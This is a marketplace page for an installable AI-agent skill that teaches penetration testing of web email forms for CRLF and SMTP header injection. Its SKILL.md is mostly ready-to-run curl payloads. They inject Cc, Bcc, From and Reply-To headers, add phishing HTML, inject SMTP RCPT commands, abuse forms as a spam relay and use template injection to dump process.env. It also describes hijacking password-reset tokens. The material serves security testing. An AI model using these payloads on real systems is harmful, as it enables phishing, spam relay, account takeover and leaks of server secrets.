testing-for-email-header-injection — Claude Code skill
testing-for-email-header-injection — a skill for penetration testing web application email functions—contact forms, password resets, newsletter signups—against CRLF and SMTP header injection attacks.
Apache-2.0 270 installs ★ 36,511 updated 2026-08-31
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-email-header-injection -a claude-codeWhat testing-for-email-header-injection does
Tests whether CRLF newline sequences injected into form fields (recipient, subject, sender name) can add unauthorized headers, forge From or Reply-To, or reroute outbound email. Includes workflows with Burp Suite, swaks, and curl: where to look for vulnerable endpoints, encoding variants to try (URL encoding, double encoding, LF vs CRLF), how to confirm mail reached the attacker's inbox. Covers JSON APIs, SMTP command injection, and MIME boundary tricks.
Use during any pen test involving user-triggered email sends. Nist mapping includes PR.PS-01 (supply chain integrity), ID.RA-01 (asset discovery), MITRE ATT&CK T1190 (exploit public-facing application).
What it helps with
- find contact forms or email APIs vulnerable to CRLF header injection
- verify whether Cc, Bcc, From, or Reply-To headers can be spoofed
- test if the app can be turned into an open mail relay for bulk spam
- probe JSON email endpoints and SMTP command handling for injection flaws
- document the full injection chain: vulnerable field, encoding method, security impact
Example prompts for the agent
- Show me how to test a contact form for CRLF injection using Burp Suite
- Check the
/api/send-emailendpoint for BCC header injection through JSON parameters - Generate curl examples with %0A and %0D%0A encodings across different form fields
How to install testing-for-email-header-injection
1Skills CLI (Vercel)
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-email-header-injection -a claude-code2Manually: put the files in place
~/.claude/skills/testing-for-email-header-injection/SKILL.mdCopy the whole skill folder; for one project use .claude/skills/testing-for-email-header-injection/
1Skills CLI (Vercel)
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-email-header-injection -a codex2Manually: put the files in place
.agents/skills/testing-for-email-header-injection/SKILL.mdFor all projects use ~/.agents/skills/
1Skills CLI (Vercel)
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-email-header-injection -a cursor2Manually: put the files in place
.cursor/skills/testing-for-email-header-injection/SKILL.mdCursor also reads .agents/skills/ and .claude/skills/
1GitHub CLI
gh skill install mukul975/Anthropic-Cybersecurity-Skills skills/testing-for-email-header-injection2Manually: put the files in place
.github/skills/testing-for-email-header-injection/SKILL.md1Skills CLI (Vercel)
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-email-header-injection -a gemini-cli2Platform CLI
gemini skills install https://github.com/mukul975/Anthropic-Cybersecurity-Skills --path skills/testing-for-email-header-injectionManually: put the files in place
.devin/skills/testing-for-email-header-injection/SKILL.mdThe legacy .windsurf/skills/ path still works
Skills CLI (Vercel)
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-email-header-injection -a opencodeClaude.ai
Zip the folder and upload it in Settings → Capabilities → Skills
Step by step, with commands for each platform: How to install skills in Claude Code: five ways
Questions about testing-for-email-header-injection
How do I install testing-for-email-header-injection in Claude Code?
Run npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-email-header-injection -a claude-code, then open ~/.claude/skills/testing-for-email-header-injection/SKILL.md.
What does testing-for-email-header-injection do?
It provides penetration testing methodology and ready-to-use examples for detecting SMTP header injection flaws in web mail functions, including how to forge sender identity, inject recipients, and test for open relay abuse.
Which platforms support this skill?
Installs on Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, and OpenCode using the same underlying testing approach.
Source text
SKILL.md · Apache-2.0
--- name: testing-for-email-header-injection description: Tests web application email functionality (contact forms, password reset, newsletter subscriptions) for CRLF/SMTP header injection using Burp Suite and OWASP ZAP, checking whether attackers can inject headers, modify recipients, or abuse forms for spam relay. Use when testing any user-input-driven email-sending feature during a penetration test. domain: cybersecurity subdomain: web-application-security tags: - email-injection - smtp-injection - crlf-injection - header-injection - spam-relay - contact-form - email-security version: '1.0' author: mahipal license: Apache-2.0 nist_csf: - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 mitre_attack: - T1190 - T1059.007 - T1505.003 - T1083 - T1055 --- # Testing for Email Header Injection ## When to Use - When testing contact forms, feedback forms, or "email a friend" functionality - During assessment of password reset email functionality - When testing newsletter subscription or notification email systems - During penetration testing of applications that send emails based on user input - When auditing email-related API endpoints for header injection ## Prerequisites - Burp Suite for intercepting and modifying HTTP requests - Understanding of SMTP protocol and email header structure - Knowledge of CRLF injection techniques (\r\n sequences) - Test email accounts for receiving injected emails - Access to application features that trigger email sending - SMTP server logs access for monitoring injection attempts ## Workflow ### Step 1 — Identify Email Injection Points ```bash # Identify form fields that end up in email headers: # - "From" name or email address fields # - "To" or "CC" fields in sharing features # - Subject line inputs # - Reply-To fields # Common endpoints: # POST /contact - Contact forms # POST /share - Share via email features # POST /invite - Invitation systems # POST /api/send-email - Email API endpoints # POST /forgot-password - Password reset forms # Test basic functionality first curl -X POST http://target.com/contact \ -d "name=Test&[email protected]&subject=Hello&message=Test message" ``` ### Step 2 — Test for CRLF Header Injection ```bash # Inject additional email headers via CRLF in the email field curl -X POST http://target.com/contact \ -d "name=Test&[email protected]%0ACc:[email protected]&message=Test" # Inject BCC header curl -X POST http://target.com/contact \ -d "name=Test&[email protected]%0ABcc:[email protected]&message=Test" # Inject via the name field curl -X POST http://target.com/contact \ -d "name=Test%0ACc:[email protected]&[email protected]&message=Test" # Inject via subject field curl -X POST http://target.com/contact \ -d "name=Test&[email protected]&subject=Hello%0ABcc:[email protected]&message=Test" # Try different CRLF encoding variants # %0D%0A (CRLF) curl -X POST http://target.com/contact \ -d "[email protected]%0D%0ACc:[email protected]" # %0A (LF only) curl -X POST http://target.com/contact \ -d "[email protected]%0ACc:[email protected]" # %0D (CR only) curl -X POST http://target.com/contact \ -d "[email protected]%0DCc:[email protected]" # Double encoding curl -X POST http://target.com/contact \ -d "[email protected]%250ACc:[email protected]" ``` ### Step 3 — Inject Custom Email Content ```bash # Override email body by injecting Content-Type and body curl -X POST http://target.com/contact \ -d "[email protected]%0AContent-Type:text/html%0A%0A<h1>Phishing</h1>" # Inject additional MIME parts curl -X POST http://target.com/contact \ -d "[email protected]%0AContent-Type:multipart/mixed;boundary=boundary123%0A--boundary123%0AContent-Type:text/html%0A%0A<script>alert(1)</script>" # Override From header for email spoofing curl -X POST http://target.com/contact \ -d "[email protected]%0AFrom:[email protected]" # Inject Reply-To for phishing curl -X POST http://target.com/contact \ -d "[email protected]%0AReply-To:[email protected]" ``` ### Step 4 — Test IMAP/SMTP Injection ```bash # IMAP command injection via email field curl -X POST http://target.com/webmail/search \ -d "query=test%0AEXAMINE INBOX" # SMTP command injection curl -X POST http://target.com/api/send \ -d "[email protected]%0ARCPT TO:[email protected]" # SMTP VRFY command injection curl -X POST http://target.com/api/verify \ -d "[email protected]%0AVRFY admin" # Test SMTP relay abuse curl -X POST http://target.com/contact \ -d "[email protected]%0ATo:[email protected]%0ATo:[email protected]%0ATo:[email protected]" ``` ### Step 5 — Test JSON-Based Email APIs ```bash # JSON API header injection curl -X POST http://target.com/api/send-email \ -H "Content-Type: application/json" \ -d '{"to":"[email protected]\nCc:[email protected]","subject":"Test","body":"Test"}' # Array injection for multiple recipients curl -X POST http://target.com/api/send-email \ -H "Content-Type: application/json" \ -d '{"to":["[email protected]","[email protected]"],"subject":"Test","body":"Test"}' # Template injection in email body curl -X POST http://target.com/api/send-email \ -H "Content-Type: application/json" \ -d '{"to":"[email protected]","subject":"Test","body":"{{constructor.constructor(\"return process.env\")()}}"}' ``` ### Step 6 — Validate Findings ```bash # Check if injected CC/BCC emails were received # Monitor [email protected] inbox for received copies # Verify header injection via email raw source # In received email, check "View Original" or "Show Headers" # Look for injected Cc:, Bcc:, From:, or Reply-To: headers # Test if the application is usable as a spam relay # by injecting multiple recipients in BCC # Document the full injection chain # 1. Injection point (which field) # 2. Encoding required (CRLF, URL encoding) # 3. Impact (spam relay, phishing, data theft) ``` ## Key Concepts | Concept | Description | |---------|-------------| | CRLF Injection | Injecting carriage return and line feed characters to create new email headers | | Header Injection | Adding unauthorized headers (Cc, Bcc, From) to outgoing emails | | Spam Relay | Abusing email functionality to send spam to arbitrary recipients | | Email Spoofing | Modifying From or Reply-To headers to impersonate trusted senders | | MIME Manipulation | Injecting MIME boundaries to override email body content | | SMTP Command Injection | Injecting raw SMTP commands through unsanitized email parameters | | Newline Characters | \r\n (CRLF), \n (LF), \r (CR) used to separate email headers | ## Tools & Systems | Tool | Purpose | |------|---------| | Burp Suite | HTTP proxy for modifying email-related form submissions | | swaks | Swiss Army Knife for SMTP testing and header injection validation | | OWASP ZAP | Automated scanner with email injection detection | | mailhog | Local SMTP testing server for capturing injected emails | | smtp4dev | Development SMTP server for monitoring email injection results | | Nuclei | Template scanner with email header injection detection templates | ## Common Scenarios 1. **Spam Relay** — Inject BCC headers to relay mass emails through the target's SMTP server, bypassing spam filters that trust the sender domain 2. **Phishing via Contact Form** — Modify From and Reply-To headers to send phishing emails appearing to originate from the target organization 3. **Password Reset Hijack** — Inject CC header in password reset flow to receive a copy of reset tokens sent to the victim 4. **Email Content Override** — Inject MIME Content-Type headers to replace legitimate email body with malicious phishing content 5. **Internal Email Abuse** — Use header injection to send emails to internal addresses not normally accessible through the application ## Output Format ``` ## Email Header Injection Report - **Target**: http://target.com/contact - **Injection Point**: email field in contact form - **Encoding Required**: URL-encoded LF (%0A) ### Findings | # | Field | Payload | Result | Severity | |---|-------|---------|--------|----------| | 1 | email | [email protected]%0ACc:[email protected] | CC header injected | High | | 2 | email | [email protected]%0ABcc:[email protected] | BCC header injected | High | | 3 | name | Test%0AFrom:[email protected] | From spoofing | Medium | ### Remediation - Validate email addresses with strict regex rejecting newline characters - Strip \r, \n, and encoded variants from all email-related input - Use parameterized email APIs that separate headers from data - Implement rate limiting on email-sending functionality ```
© mahipal · Apache-2.0 · mukul975/Anthropic-Cybersecurity-Skills